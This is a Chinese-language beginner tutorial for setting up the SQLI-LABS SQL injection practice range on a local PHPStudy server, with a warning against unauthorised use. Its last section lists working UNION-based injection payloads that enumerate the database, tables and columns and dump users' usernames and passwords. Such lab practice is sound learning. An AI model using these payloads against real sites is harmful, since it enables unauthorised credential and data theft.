SQL注入练习场:PHPStudy+SQLI-LABS靶场搭建教程(零基础友好版)
注意:文中涉及演示均为模拟测试,切勿用于真实环境,任何未授权测试都是违法行为!
一、环境准备
安装时建议选择自定义路径(如 D:\phpstudy_pro),避免系统盘权限问题
二、PHPStudy配置
若MySQL启动失败,检查端口是否被占用(默认3306)。
三、部署SQLI-LABS靶场
-
放置源码文件
将sqlilabs文件夹复制到PHPStudy的网站根目录(默认路径:D:\phpstudy_pro\WWW)。
-
配置数据库连接
打开文件sqlilabs/sql-connections/db-creds.inc,修改以下参数:
$dbuser = 'root'; // 数据库用户名(默认) $dbpass = 'root'; // 数据库密码(若未修改则为空)
四、初始化靶场数据库
- 访问靶场页面
浏览器输入http://localhost/sqli-labs/,进入SQLI-LABS首页。
点击页面中的Setup/reset Database for labs链接
- 验证初始化结果
若显示Congratulations! Database is connected...,表示数据库创建成功。
若报错mysql_connect() undefined,需检查PHP版本是否为5.x 。
五、开始注入练习
- 选择关卡
返回首页点击Less-1(基础注入关卡),通过URL参数?id=1测试注入点。
示例Payload:?id=1' and 1=2 union select 1,2,3 --+查看显示位
?id=1' and 1=2 union select 1,2,database()--+显示出数据库名
?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
查看数据库的所有表
?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+查看users表中的字段
?id=1' and 1=2 union select 1,2,group_concat(username,0x7e,password) from security.users --+查看全部用户名和密码
还可以下载phpmyadmin管理数据库
2. 常见问题排查
数据库连接失败:检查db-creds.inc密码是否与PHPStudy的MySQL一致。
页面无法访问:确认sqlilabs文件夹是否位于WWW目录,且Apache端口未被占用。